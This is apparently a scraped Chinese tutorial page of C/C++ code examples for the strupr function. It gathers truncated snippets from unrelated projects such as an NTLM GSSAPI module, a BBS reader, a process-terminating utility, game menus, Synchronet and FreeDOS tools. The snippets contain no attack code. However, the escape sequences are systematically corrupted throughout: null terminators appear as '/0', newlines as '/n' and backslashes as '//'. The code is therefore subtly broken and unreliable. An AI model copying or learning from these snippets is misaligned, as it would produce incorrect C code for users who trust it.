自学教程：C++ strupr函数代码示例

char *_V_strupr (const char* file, int line, char *start){	AssertValidStringPtr( start );	return strupr( start );}

OM_uint32 GSSAPI_CALLCONV_gss_ntlm_import_name           (OM_uint32 * minor_status,            const gss_buffer_t input_name_buffer,            const gss_OID input_name_type,            gss_name_t * output_name           ){    char *name, *p, *p2;    int is_hostnamed;    int is_username;    ntlm_name n;    *minor_status = 0;    if (output_name == NULL)	return GSS_S_CALL_INACCESSIBLE_WRITE;    *output_name = GSS_C_NO_NAME;    is_hostnamed = gss_oid_equal(input_name_type, GSS_C_NT_HOSTBASED_SERVICE);    is_username = gss_oid_equal(input_name_type, GSS_C_NT_USER_NAME);    if (!is_hostnamed && !is_username)	return GSS_S_BAD_NAMETYPE;    name = malloc(input_name_buffer->length + 1);    if (name == NULL) {	*minor_status = ENOMEM;	return GSS_S_FAILURE;    }    memcpy(name, input_name_buffer->value, input_name_buffer->length);    name[input_name_buffer->length] = '/0';    /* find "domain" part of the name and uppercase it */    p = strchr(name, '@');    if (p == NULL) {        free(name);	return GSS_S_BAD_NAME;    }    p[0] = '/0';    p++;    p2 = strchr(p, '.');    if (p2 && p2[1] != '/0') {	if (is_hostnamed) {	    p = p2 + 1;	    p2 = strchr(p, '.');	}	if (p2)	    *p2 = '/0';    }    strupr(p);    n = calloc(1, sizeof(*n));    if (n == NULL) {	free(name);	*minor_status = ENOMEM;	return GSS_S_FAILURE;    }    n->user = strdup(name);    n->domain = strdup(p);    free(name);    if (n->user == NULL || n->domain == NULL) {	free(n->user);	free(n->domain);	free(n);	*minor_status = ENOMEM;	return GSS_S_FAILURE;    }    *output_name = (gss_name_t)n;    return GSS_S_COMPLETE;}

readpost()					/* umm.... Read post! */{int c,curmsg,dir;char s[80], x[10];gettotalmsgs();nl();nl();if(totalmsgs==0)	{	pl("4No messages exist");	return;	}print("1Start with which post [31-%d1]:2 ",totalmsgs);input(s,50);if(s[0]==0)	return;c=atoi(s);if(c > totalmsgs)	{	nl();	pl("4Not that many posts!");	return;	}curmsg=c;rdpost(c);dir=1;do	{	nl();	if(dir==1)		print("1C/R=Forward [3B,E,F,P,Q,R,+,-,?,#1]:2 ");	else		print("1C/R=Reverse [3B,E,F,P,Q,R,+,-,?,#1]:2 ");	input(s,50);	strupr(s);	switch(s[0])		{		case 0:			if(dir==1)				{				if(curmsg >= totalmsgs)					put("4Last message!");				else					{					curmsg++;					rdpost(curmsg);					}				}			else				{				if(curmsg == 1)					put("4First message!");				else					{					curmsg--;					rdpost(curmsg);					}				}			break;		case 'B':			nl();			pl("4Reverse read mode enabled");			dir=-1;			break;		case 'E':			break;		case 'F':			nl();			pl("4Forward read mode enabled");			dir=1;			break;		case 'P':			post(0,curmsg);			break;		case 'Q':			break;		case 'R':			post(1,curmsg);			break;		case '+':			gethead(curmsg);			if(hdr.lastrep!=0)				{				for(c=1;c;)					{					if(hdr.lastrep!=0)						{						rdpost(hdr.lastrep+1);						nl();						put("1Forward Thread Scan - Q to Quit, C/R to continue:2 ");						input(x,10);						strupr(x);						if(x[0]=='Q')//.........这里部分代码省略.........

//.........这里部分代码省略.........		}		bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);		if(!bResult)		{			// Unable to get process list, EnumProcesses failed			FreeLibrary(hInstLib);			return 701;		}		// How many processes are there?		iNumProc=iCbneeded/sizeof(DWORD);		// Get and match the name of each process		for(i=0;i<iNumProc;i++)		{			// Get the (module) name for this process			wcscpy_s(szName,L"Unknown");			// First, get a handle to the process			hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,				aiPID[i]);			// Now, get the process name			if(hProc)			{				if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) )				{					iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);				}			}			CloseHandle(hProc);			// We will match regardless of lower or upper case#ifdef BORLANDC			if(strcmp(strupr(szName),szToTermUpper)==0)#else			if(wcscmp(_wcsupr(szName),szToTermUpper)==0)#endif			{				// Process found, now terminate it				iFound=1;				// First open for termination				hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);				if(hProc)				{					if(TerminateProcess(hProc,0))					{						// process terminated						CloseHandle(hProc);						FreeLibrary(hInstLib);						return 0;					}					else					{						// Unable to terminate process						CloseHandle(hProc);						FreeLibrary(hInstLib);						return 602;					}				}				else				{					// Unable to open process for termination					FreeLibrary(hInstLib);					return 604;				}			}

int main(INT iArgc, PSZ Argv[]){APIRET rc;ULONG ulDiskSize, ulDiskFree;INT iArg;INT iPartType;PSZ pEnd;PSZ p;   for (iArg = 1; iArg < iArgc; iArg++)      {      strupr(Argv[iArg]);      if (Argv[iArg][0] == '/')         {         switch (Argv[iArg][1])            {            case 'V':               fDetailed = 1;               if (Argv[iArg][2] == ':' && Argv[iArg][3] == '2')                  fDetailed = 2;               if (Argv[iArg][2] == ':' && Argv[iArg][3] == '3')                  fDetailed = 3;               if (Argv[iArg][2] == ':' && Argv[iArg][3] == '4')                  fDetailed = 4;               break;            case 'B':               fShowBootSector = TRUE;               break;            case 'P':               p = &Argv[iArg][2];               for (;;)                  {                  while (*p)                     {                     while (isspace(*p))                        p++;                     if (!(*p))                        {                        printf("ERROR: Expected partition types not found!/n");                        exit(1);                        break;                        }                     iPartType = strtol(p, &pEnd, 16);                     if (iPartType > 255)                        {                        printf("ERROR: Partition type %X is not valid/n", iPartType);                        exit(1);                        }                     printf("Also including partition types %2.2X./n", iPartType);                     rgfFakePart[iPartType] = TRUE;//                     if (iPartType & PARTITION_HIDDEN)//                        {//                        printf("Also including partition types %2.2X./n", iPartType & ~PARTITION_HIDDEN);//                        rgfFakePart[iPartType & ~PARTITION_HIDDEN] = TRUE;//                        }                     p = pEnd;                     while (isspace(*p)) p++;                     if (*p != ',')                        break;                     p++;                     }                  if (iArg + 1 < iArgc && Argv[iArg+1][0] != '/')                     {                     iArg++;                     p = Argv[iArg];                     }                  else                     break;                  }               break;            default :               printf("Unknown option %s ignored./n",                  Argv[iArg]);               break;            }         }      else         printf("Invalid argument %s ignored./n", Argv[iArg]);      }   rc = InitProg();   if (rc)      return rc;   if (usDriveCount > 0 && fDetailed > 2)      {      PDRIVEINFO pDrive = rgDrives;      USHORT usDrive;      for (usDrive = 0; usDrive < usDriveCount; usDrive++)         {         pDrive = &rgDrives[usDrive];         printf("/n=== Directory structure of FAT32 DRIVE #%d===/n", pDrive->DiskNum);         rc = OpenDisk(pDrive->DiskNum, &pDrive->hDisk);         DumpDirectory(pDrive,            pDrive->bpb.RootDirStrtClus, "X:");         CheckSpace(pDrive);#ifdef HENK//.........这里部分代码省略.........

static voidmandoc_template(struct getargs *args,		size_t num_args,		const char *progname,		const char *extra_string,		char *(i18n)(const char *)){    size_t i;    char timestr[64], cmd[64];    char buf[128];    const char *p;    time_t t;    printf(".///" Things to fix:/n");    printf(".///"   * correct section, and operating system/n");    printf(".///"   * remove Op from mandatory flags/n");    printf(".///"   * use better macros for arguments (like .Pa for files)/n");    printf(".///"/n");    t = time(NULL);    strftime(timestr, sizeof(timestr), "%B %e, %Y", localtime(&t));    printf(".Dd %s/n", timestr);    p = strrchr(progname, '/');    if(p) p++; else p = progname;    strlcpy(cmd, p, sizeof(cmd));    strupr(cmd);    printf(".Dt %s SECTION/n", cmd);    printf(".Os OPERATING_SYSTEM/n");    printf(".Sh NAME/n");    printf(".Nm %s/n", p);    printf(".Nd in search of a description/n");    printf(".Sh SYNOPSIS/n");    printf(".Nm/n");    for(i = 0; i < num_args; i++){	/* we seem to hit a limit on number of arguments if doing           short and long flags with arguments -- split on two lines */	if(ISFLAG(args[i]) ||	   args[i].short_name == 0 || args[i].long_name == NULL) {	    printf(".Op ");	    if(args[i].short_name) {		print_arg(buf, sizeof(buf), 1, 0, args + i, i18n);		printf("Fl %c%s", args[i].short_name, buf);		if(args[i].long_name)		    printf(" | ");	    }	    if(args[i].long_name) {		print_arg(buf, sizeof(buf), 1, 1, args + i, i18n);		printf("Fl Fl %s%s%s",		       args[i].type == arg_negative_flag ? "no-" : "",		       args[i].long_name, buf);	    }	    printf("/n");	} else {	    print_arg(buf, sizeof(buf), 1, 0, args + i, i18n);	    printf(".Oo Fl %c%s //*(Ba Xo/n", args[i].short_name, buf);	    print_arg(buf, sizeof(buf), 1, 1, args + i, i18n);	    printf(".Fl Fl %s%s/n.Xc/n.Oc/n", args[i].long_name, buf);	}    /*	    if(args[i].type == arg_strings)		fprintf (stderr, "...");		*/    }    if (extra_string && *extra_string)	printf (".Ar %s/n", extra_string);    printf(".Sh DESCRIPTION/n");    printf("Supported options:/n");    printf(".Bl -tag -width Ds/n");    for(i = 0; i < num_args; i++){	printf(".It Xo/n");	if(args[i].short_name){	    printf(".Fl %c", args[i].short_name);	    print_arg(buf, sizeof(buf), 1, 0, args + i, i18n);	    printf("%s", buf);	    if(args[i].long_name)		printf(" ,");	    printf("/n");	}	if(args[i].long_name){	    printf(".Fl Fl %s%s",		   args[i].type == arg_negative_flag ? "no-" : "",		   args[i].long_name);	    print_arg(buf, sizeof(buf), 1, 1, args + i, i18n);	    printf("%s/n", buf);	}	printf(".Xc/n");	if(args[i].help)	    printf("%s/n", args[i].help);    /*	    if(args[i].type == arg_strings)		fprintf (stderr, "...");		*/    }    printf(".El/n");    printf(".///".Sh ENVIRONMENT/n");    printf(".///".Sh FILES/n");    printf(".///".Sh EXAMPLES/n");    printf(".///".Sh DIAGNOSTICS/n");    printf(".///".Sh SEE ALSO/n");//.........这里部分代码省略.........

/*================CG_ParseServerinfoThis is called explicitly when the gamestate is first received,and whenever the server updates any serverinfo flagged cvars================*/void CG_ParseServerinfo( void ) {	const char	*info;	char	*mapname;	info = CG_ConfigString( CS_SERVERINFO );	cgs.dmflags = atoi( Info_ValueForKey( info, "dmflags" ) );	cgs.teamflags = atoi( Info_ValueForKey( info, "teamflags" ) );	cgs.timelimit = atoi( Info_ValueForKey( info, "timelimit" ) );	cgs.maxclients = 1;	mapname = Info_ValueForKey( info, "mapname" );	Com_sprintf( cgs.mapname, sizeof( cgs.mapname ), "maps/%s.bsp", mapname );	char *p = strrchr(mapname,'/');	strcpy( cgs.stripLevelName[0], p?p+1:mapname );	strupr( cgs.stripLevelName[0] );	for (int i=1; i<STRIPED_LEVELNAME_VARIATIONS; i++)	// clear retry-array	{		cgs.stripLevelName[i][0]='/0';	}	// be careful with the []-numbers here. Currently I use 0,1,2 for replacements or substitution, and [3] for "INGAME"	//	I know, if I'd known there was going to be this much messing about I'd have subroutinised it all and done it	//	neater, but it kinda evolved...   Feel free to bug me if you want to add to it... ?  -Ste.	////FIXME: a better way to handle sound-matched strings from other levels (currently uses levelname+sound as key)	// additional String files needed for some levels...	//	// JKA...	if (!stricmp(cgs.stripLevelName[0],"YAVIN1B"))	{		strcpy( cgs.stripLevelName[1], "YAVIN1");	}/*	// JK2...	if (!stricmp(cgs.stripLevelName[0],"KEJIM_BASE") ||		!stricmp(cgs.stripLevelName[0],"KEJIM_POST")		)	{		strcpy( cgs.stripLevelName[1], "ARTUS_MINE" );	}	if (!stricmp(cgs.stripLevelName[0],"DOOM_DETENTION") ||		!stricmp(cgs.stripLevelName[0],"DOOM_SHIELDS")		)	{		strcpy( cgs.stripLevelName[1], "DOOM_COMM" );	}	if (!stricmp(cgs.stripLevelName[0],"DOOM_COMM"))	{		strcpy( cgs.stripLevelName[1], "CAIRN_BAY" );	}	if (!stricmp(cgs.stripLevelName[0],"NS_STARPAD"))	{		strcpy( cgs.stripLevelName[1], "ARTUS_TOPSIDE" );	// for dream sequence...		strcpy( cgs.stripLevelName[2], "BESPIN_UNDERCITY" );	// for dream sequence...	}	if (!stricmp(cgs.stripLevelName[0],"BESPIN_PLATFORM"))	{		strcpy( cgs.stripLevelName[1], "BESPIN_UNDERCITY" );	}*/}

//.........这里部分代码省略.........    case 5:    case 6:        glTranslatef(0,3,mainmenu_substatus);        nethertittle->draw(1.0,1.0,1.0);        break;    case 3:        glColor3f(0.5,0.5,1.0);        glTranslatef(0,3.5,0);        if (SCREEN_X== 320) scaledglprintf(0.005,0.005,_("1 - RESOLUTION:  320x240"));        if (SCREEN_X== 400) scaledglprintf(0.005,0.005,_("1 - RESOLUTION:  400x300"));        if (SCREEN_X== 640) scaledglprintf(0.005,0.005,_("1 - RESOLUTION:  640x480"));        if (SCREEN_X== 800) scaledglprintf(0.005,0.005,_("1 - RESOLUTION:  800x600"));        if (SCREEN_X==1024) scaledglprintf(0.005,0.005,_("1 - RESOLUTION: 1024x768"));        if (SCREEN_X==1280) scaledglprintf(0.005,0.005,_("1 - RESOLUTION: 1280x1024"));        glTranslatef(0,-1,0);        if (COLOUR_DEPTH== 8) scaledglprintf(0.005,0.005, _("2 - COLOR DEPTH:  8bit  "));        if (COLOUR_DEPTH==16) scaledglprintf(0.005,0.005,_("2 - COLOR DEPTH: 16bit  "));        if (COLOUR_DEPTH==24) scaledglprintf(0.005,0.005,_("2 - COLOR DEPTH: 24bit  "));        if (COLOUR_DEPTH==32) scaledglprintf(0.005,0.005,_("2 - COLOR DEPTH: 32bit  "));        glTranslatef(0,-1,0);        if (fullscreen) scaledglprintf(0.005,0.005,_("3 - FULLSCREEN          "));        else scaledglprintf(0.005,0.005,_("3 - WINDOWED            "));        glTranslatef(0,-1,0);        if (shadows==0) scaledglprintf(0.005,0.005,_("4 - SHADOWS: OFF        "));        if (shadows==1) scaledglprintf(0.005,0.005,_("4 - SHADOWS: ON - DIAG  "));        if (shadows==2) scaledglprintf(0.005,0.005,_("4 - SHADOWS: ON - VERT  "));        glTranslatef(0,-1,0);        if (detaillevel==0) scaledglprintf(0.005,0.005,_("5 - DETAIL: LOWEST      "));        if (detaillevel==1) scaledglprintf(0.005,0.005,_("5 - DETAIL: LOW         "));        if (detaillevel==2) scaledglprintf(0.005,0.005,_("5 - DETAIL: MEDIUM      "));        if (detaillevel==3) scaledglprintf(0.005,0.005,_("5 - DETAIL: HIGH        "));        if (detaillevel==4) scaledglprintf(0.005,0.005,_("5 - DETAIL: HIGHEST     "));        glTranslatef(0,-1,0);        if (sound) scaledglprintf(0.005,0.005,_("6 - SOUND: ON           "));              else scaledglprintf(0.005,0.005,_("6 - SOUND: OFF          "));        glTranslatef(0,-1,0);        if (level==0) scaledglprintf(0.005,0.005,_("7 - LEVEL: EASY         "));        if (level==1) scaledglprintf(0.005,0.005,_("7 - LEVEL: NORMAL       "));        if (level==2) scaledglprintf(0.005,0.005,_("7 - LEVEL: HARD         "));        if (level==3) scaledglprintf(0.005,0.005,_("7 - LEVEL: IMPOSSIBLE   "));        glTranslatef(0,-1,0);        if (show_radar) scaledglprintf(0.005,0.005,_("8 - RADAR: ON           "));                   else scaledglprintf(0.005,0.005,_("8 - RADAR: OFF          "));        glTranslatef(0,-1,0);        scaledglprintf(0.005,0.005,_("9 - BACK                "));        break;    case 7:        {            char tmp[256];            glColor3f(0.5,0.5,1.0);            glTranslatef(0,5,0);            scaledglprintf(0.005,0.005,"REDEFINE KEYBOARD");            glTranslatef(0,-2,0);            if (mainmenu_substatus!=0) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR UP: %s"),strupr(SDL_GetKeyName((SDLKey)up_key)));            scaledglprintf(0.005,0.005,tmp);            glTranslatef(0,-1,0);            if (mainmenu_substatus!=1) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR DOWN: %s"),strupr(SDL_GetKeyName((SDLKey)down_key)));            scaledglprintf(0.005,0.005,tmp);            glTranslatef(0,-1,0);            if (mainmenu_substatus!=2) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR LEFT: %s"),strupr(SDL_GetKeyName((SDLKey)left_key)));            scaledglprintf(0.005,0.005,tmp);            glTranslatef(0,-1,0);            if (mainmenu_substatus!=3) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR RIGHT: %s"),strupr(SDL_GetKeyName((SDLKey)right_key)));            scaledglprintf(0.005,0.005,tmp);            glTranslatef(0,-1,0);            if (mainmenu_substatus!=4) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR FIRE: %s"),strupr(SDL_GetKeyName((SDLKey)fire_key)));            scaledglprintf(0.005,0.005,tmp);            glTranslatef(0,-1,0);            if (mainmenu_substatus!=5) glColor3f(0.5,0.5,1.0);                                  else glColor3f(1.0,0.0,0.0);            sprintf(tmp,_("PRESS A KEY FOR PAUSE/MENU: %s"),strupr(SDL_GetKeyName((SDLKey)pause_key)));            scaledglprintf(0.005,0.005,tmp);            glColor3f(0.5,0.5,1.0);            glTranslatef(0,-2,0);            scaledglprintf(0.005,0.005,_("PG.UP/PG.DOWN CHANGE THE ZOOM"));            if (mainmenu_substatus>5) {                glColor3f(1,1,1);                glTranslatef(0,-2,0);                scaledglprintf(0.005,0.005,_("PRESS ANY KEY TO RETURN TO MAIN MENU"));            } /* if */        }        break;    } /* switch */    SDL_GL_SwapBuffers();} /* NETHER::draw */

int main(int argc, char **argv){	char	revision[16];	char	error[512];	char	*p,str[256],fname[256],ext,not[MAX_NOTS][9];	uchar	*datbuf,*ixbbuf;	int 	i,j,file,dirnum,libnum,desc_off,lines,nots=0			,omode=O_WRONLY|O_CREAT|O_TRUNC;	ulong	l,m,n,cdt,misc=0,total_cdt=0,total_files=0,dir_files,datbuflen;	time32_t uld,dld,now;	long	max_age=0;	FILE	*in,*out=NULL;	sscanf("$Revision$", "%*s %s", revision);	fprintf(stderr,"/nFILELIST v%s-%s (rev %s) - Generate Synchronet File "		"Directory Lists/n"		,FILELIST_VER		,PLATFORM_DESC		,revision		);	if(argc<2 		|| strcmp(argv[1],"-?")==0 		|| strcmp(argv[1],"-help")==0 		|| strcmp(argv[1],"--help")==0 		|| strcmp(argv[1],"/?")==0		) {		printf("/n   usage: FILELIST <dir_code or - for ALL> [switches] [outfile]/n");		printf("/n");		printf("switches: -lib name All directories of specified library/n");		printf("          -not code Exclude specific directory/n");		printf("          -new days Include only new files in listing (days since upload)/n");		printf("          -cat      Concatenate to existing outfile/n");		printf("          -pad      Pad filename with spaces/n");		printf("          -hdr      Include directory headers/n");		printf("          -cdt      Include credit value/n");		printf("          -tot      Include credit totals/n");		printf("          -uln      Include uploader's name/n");		printf("          -uld      Include upload date/n");		printf("          -dfd      Include DOS file date/n");		printf("          -dld      Include download date/n");		printf("          -dls      Include total downloads/n");		printf("          -nod      Exclude normal descriptions/n");		printf("          -noe      Exclude normal descriptions, if extended "			"exists/n");		printf("          -ext      Include extended descriptions/n");		printf("          -jst      Justify extended descriptions under normal/n");		printf("          -+        Include extended description indicator (+)/n");		printf("          --        Include offline file indicator (-)/n");		printf("          -*        Short-hand for -pad -hdr -cdt -+ --/n");		exit(0); }	p=getenv("SBBSCTRL");	if(p==NULL) {		printf("/nSBBSCTRL environment variable not set./n");		printf("/nExample: SET SBBSCTRL=/sbbs/ctrl/n");		exit(1); 	}	now=time32(NULL);	memset(&scfg,0,sizeof(scfg));	scfg.size=sizeof(scfg);	SAFECOPY(scfg.ctrl_dir,p);	if(chdir(scfg.ctrl_dir)!=0)		fprintf(stderr,"!ERROR changing directory to: %s", scfg.ctrl_dir);	printf("/nLoading configuration files from %s/n",scfg.ctrl_dir);	if(!load_cfg(&scfg,NULL,TRUE,error)) {		fprintf(stderr,"!ERROR loading configuration files: %s/n",error);		exit(1);	}	SAFECOPY(scfg.temp_dir,"../temp");	prep_dir(scfg.ctrl_dir, scfg.temp_dir, sizeof(scfg.temp_dir));	dirnum=libnum=-1;	if(argv[1][0]=='*' || strcmp(argv[1],"-")==0)		misc|=ALL;	else if(argv[1][0]!='-') {		strupr(argv[1]);		for(i=0;i<scfg.total_dirs;i++)			if(!stricmp(argv[1],scfg.dir[i]->code))				break;		if(i>=scfg.total_dirs) {			printf("/nDirectory code '%s' not found./n",argv[1]);			exit(1); }		dirnum=i; }	for(i=1;i<argc;i++) {		if(!stricmp(argv[i],"-lib")) {			if(dirnum!=-1) {				printf("/nBoth directory code and -lib parameters were used./n");				exit(1); }			i++;			if(i>=argc) {				printf("/nLibrary short name must follow -lib parameter./n");				exit(1); }			strupr(argv[i]);			for(j=0;j<scfg.total_libs;j++)//.........这里部分代码省略.........

bool WGetEditWindowID( HWND dlg, char **symbol, uint_16 *id,                       WRHashTable *symbol_table, bool combo_change ){    int_32      val;    char        *ep;    WRHashValue hv;    WRHashEntry *new_entry;    bool        dup;    if( dlg == (HWND)NULL ) {        return( FALSE );    }    if( combo_change ) {        *symbol = WGetStrFromComboLBox( GetDlgItem( dlg, IDM_ACCEDCMDID ), -1 );    } else {        *symbol = WGetStrFromEdit( GetDlgItem( dlg, IDM_ACCEDCMDID ), NULL );    }    if( *symbol == NULL ) {        return( FALSE );    }    if( **symbol == '/0' ) {        *symbol = WGetStrFromEdit( GetDlgItem( dlg, IDM_ACCEDCMDNUM ), NULL );    }    if( *symbol == NULL ) {        return( FALSE );    }    strupr( *symbol );    // check if the string has a numeric representation    val = (int_32)strtol( *symbol, &ep, 0 );    if( *ep != '/0' ) {        // the string did not have a numeric representation        // so let's look it up in the hash table        if( WRLookupName( symbol_table, *symbol, &hv ) ) {            *id = (uint_16)hv;        } else {            dup = false;            new_entry = WRAddDefHashEntry( symbol_table, *symbol, &dup );            if( new_entry != NULL ) {                *id = (uint_16)new_entry->value;                if( !dup ) {                    SendDlgItemMessage( dlg, IDM_ACCEDCMDID, CB_ADDSTRING,                                        0, (LPARAM)(LPSTR)new_entry->name );                    SendDlgItemMessage( dlg, IDM_ACCEDCMDID, CB_SETITEMDATA,                                        0, (LPARAM)new_entry );                }            } else {                *id = 0;                WRMemFree( *symbol );                *symbol = NULL;                return( FALSE );            }        }    } else {        // the string did have a numeric representation        *id = (uint_16)val;        WRMemFree( *symbol );        *symbol = NULL;    }    return( TRUE );}

bytes_t HGE_CALL HGE_Impl::Resource_Load(const char *filename, uint32_t *size){    static char *res_err = "Can't load resource: %s";    //resource_packs_item_t *resItem = m_resources;    char szName[_MAX_PATH];    char szZipName[_MAX_PATH];    unzFile zip;    unz_file_info file_info;    int done, i;    void * ptr;    HANDLE hF;    if (filename[0] == '//' || filename[0] == '/' || filename[1] == ':')        goto _fromfile; // skip absolute paths    // Load from pack    strcpy(szName, filename);    strupr(szName);    for (i = 0; szName[i]; i++)    {        if (szName[i] == '/')            szName[i] = '//';    }    //while (resItem)    // TODO: optimize this reopening shit out    for( auto itr = m_resources.begin(); itr != m_resources.end(); ++itr )    {        resource_packs_item_t & resItem = itr->second;        zip = unzOpen(resItem.filename.c_str());        done = unzGoToFirstFile(zip);        while (done == UNZ_OK)        {            unzGetCurrentFileInfo(zip, &file_info, szZipName, sizeof(szZipName), NULL, 0, NULL, 0);            strupr(szZipName);            for (i = 0; szZipName[i]; i++)            {                if (szZipName[i] == '/')                    szZipName[i] = '//';            }            if (!strcmp(szName, szZipName))            {                if (unzOpenCurrentFilePassword( zip, resItem.password.empty()                                                ? resItem.password.c_str()                                                : nullptr ) != UNZ_OK)                {                    unzClose(zip);                    sprintf(szName, res_err, filename);                    _PostError(szName);                    return nullptr;                }                ptr = malloc(file_info.uncompressed_size);                if (!ptr)                {                    unzCloseCurrentFile(zip);                    unzClose(zip);                    sprintf(szName, res_err, filename);                    _PostError(szName);                    return nullptr;                }                if (unzReadCurrentFile(zip, ptr, file_info.uncompressed_size) < 0)                {                    unzCloseCurrentFile(zip);                    unzClose(zip);                    free(ptr);                    sprintf(szName, res_err, filename);                    _PostError(szName);                    return nullptr;                }                unzCloseCurrentFile(zip);                unzClose(zip);                if (size)                    *size = file_info.uncompressed_size;                return bytes_t( (char*)ptr );            }            done = unzGoToNextFile(zip);        }        unzClose(zip);        //resItem = resItem->next;    }    // Load from file_fromfile:    hF = CreateFile(Resource_MakePath(filename), GENERIC_READ, FILE_SHARE_READ, NULL,                    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_RANDOM_ACCESS, NULL);    if (hF == INVALID_HANDLE_VALUE)    {        sprintf(szName, res_err, filename);        _PostError(szName);        return nullptr;    }    file_info.uncompressed_size = GetFileSize(hF, NULL);//.........这里部分代码省略.........

BOOL CDirTreeCtrl::SetSelPath (LPCTSTR strPath){	// Setting the Selection in the Tree	HTREEITEM hParent  = TVI_ROOT;	int       iLen    = strlen(strPath) + 2;	char*     pszPath = new char[iLen];	char*     pPath   = pszPath;	BOOL      bRet    = FALSE;    	if ( !IsValidPath( strPath ) )	{		delete [] pszPath; // this must be added 29.03.99		return FALSE;	}			strcpy( pszPath, strPath );	strupr( pszPath );		if ( pszPath[strlen(pszPath)-1] != '//' )		strcat( pszPath, "//" );    	int iLen2 = strlen( pszPath );		for (WORD i = 0; i < iLen2; i++ )	{		if ( pszPath[i] == '//' )		{			SetRedraw( FALSE );			pszPath[i] = '/0';			hParent = SearchSiblingItem( hParent, pPath );			if ( !hParent )  // Not found!				break;			else			{								// Info:				// the notification OnItemExpanded 				// will not called every time 				// after the call Expand. 				// You must call Expand with TVE_COLLAPSE | TVE_COLLAPSERESET				// to Reset the TVIS_EXPANDEDONCE Flag								UINT uState;				uState = GetItemState( hParent, TVIS_EXPANDEDONCE );				if ( uState )				{					Expand( hParent, TVE_EXPAND );					Expand( hParent, TVE_COLLAPSE | TVE_COLLAPSERESET );					InsertItem("", hParent ); // insert a blank child-item					Expand( hParent, TVE_EXPAND ); // now, expand send a notification				}				else					Expand( hParent, TVE_EXPAND );			}			pPath += strlen(pPath) + 1;		}	}	delete [] pszPath;		if ( hParent ) // Ok the last subpath was found	{				SelectItem( hParent ); // select the last expanded item		bRet = TRUE;	}	else	{		bRet = FALSE;	}		SetRedraw( TRUE );    return bRet;}

void main ( BYTE argc, char *argv[] ){	int i=2 ;  /*********** STARTUP AND PARAMETER PARSING **************/	/* Opening strings */	printf ("BOOKSHLF %s - FreeDOS Book Shelf manager/n", VerS);	puts ("Copyright Aitor SANTAMARIA MERINO under the GNU GPL 2.0/n");	/* Discard FastHelp */	if ( (argc==1) ||	     ( (argc==2) && (!strcmp(argv[1],"/?")) ) )	     FastHelp ();	/* Determine command (argv[1]) */	if (!strcmp (strupr(argv[1]),"LIST") )		curcommand = CM_List;	else if (!strcmp (argv[1],"ADD"))		curcommand = CM_Add;	else if (!strcmp (argv[1],"DEL"))		curcommand = CM_Del;	else		CriticalError (SC_UnknownCommand, "");	/* Get the book name (ADD/DEL) */	if ( (curcommand==CM_Add) || (curcommand==CM_Del) )	{		if (argc<3) CriticalError (SC_WrongNParams, "");		strncpy (BookName, argv[i++], MaxLine);	}	/* More arguments? */	if (argc > (i+1)) CriticalError (SC_WrongNParams, "");	if (argc == (i+1))		strncpy (finName, argv[i], 255);  /*********** OPENING FILES **************/	/*  Try to open the source HTML file */	i=1;	/* Flag meaning: 2=no finName was specified, 1=was specified */	if (!finName[0])	{		i++;		strcpy (finName, "..//HELP//INDEX.HTM");//		strcpy (finName, "INDEX.HTM");// for easy testings	}	while (i--)		if ((fin = fopen (finName,"rt"))!=NULL) i=0;		else		   if (i) {			strcpy (foutName, getenv ("HELPPATH"));			if (!foutName[0]) CriticalError (SC_CantOpenSource, finName);			strcat (foutName, "//INDEX.HTM");			strcpy (finName, foutName);		   }		   else CriticalError (SC_CantOpenSource, finName);	/* Add extension BI if not present */	if ( curcommand==CM_Add )	{		for ( i = strlen(BookName)-1; (i>=0) && (BookName[i]!='//') && (BookName[i]!='.'); i--);		if (! ((i>=0) && (BookName[i]=='.')) )			strcat (BookName, ".BI");		/* Open book index */		if ((fbook = fopen (BookName,"rt"))==NULL)			CriticalError (SC_CantOpenBI, BookName);	}	/* Compose the target file name .$$$ and try to open it (ADD/DEL) */	if ( (curcommand==CM_Add) || (curcommand==CM_Del) )	{		for ( i=strlen(finName)-1; (i>=0) && (finName[i]!='//')						   && (finName[i]!='.')         ; i--);		if ( (i<0) || ( (i>=0) && (finName[i]=='//') ) )			i=strlen(finName);		strncpy (foutName, finName, i);		strcat  (foutName, ".$$$");		if ((fout = fopen (foutName,"wt"))==NULL)			CriticalError (SC_CantOpenTarget, foutName);	}  /*********** MAIN WORK **************/	/* Find <!--BOOKSHELF-->*/	do {		fgets (line, MaxLine, fin);		if ( (curcommand==CM_Add) || (curcommand==CM_Del) )			fputs (line, fout);		NoSpaces();	} while ( strcmp(line,"<!--BOOKSHELF-->") &&//.........这里部分代码省略.........

void Add ( void ){	char tag[MaxLine]= "<!--BOOK=";	char stout[255] = "";	BOOL Updates = FALSE;	/* Set the book header */	for (; (strlen(BookName)>0) && (BookName[strlen(BookName)-1]!='.');		 BookName[strlen(BookName)-1]=0);	BookName[strlen(BookName)-1]=0;	/* Get the tag name */	strcat (tag,BookName);	strcat (tag,"-->");	strupr (tag);	/* Pass all earlier */	while (TRUE) {		fgets  (line, MaxLine, fin);		if (feof(fin)) CriticalError (SC_BooksCorrupted, "");		strcpy (stout, line);		NoSpaces();		if (!strcmp(line,"<!--/BOOKSHELF-->")) break;		if (strcmp(line,tag)>=0) break;		strcat (line,"/n");		fputs (line, fout);		do {			fgets (line, MaxLine,fin);			fputs (line, fout);			NoSpaces();		} while (strcmp(line,"<!--/BOOK-->"));	}	   /* In all exits of this loop through here, stout is pending to be put */	/* if present, update, that is, ignore previous book */	if (!strcmp(line,tag))  {		Updates = TRUE;		/* flag to say that we don't have to */						/* append the saved line */		do {			fgets (line, MaxLine,fin);			NoSpaces();		} while (strcmp(line,"<!--/BOOK-->"));	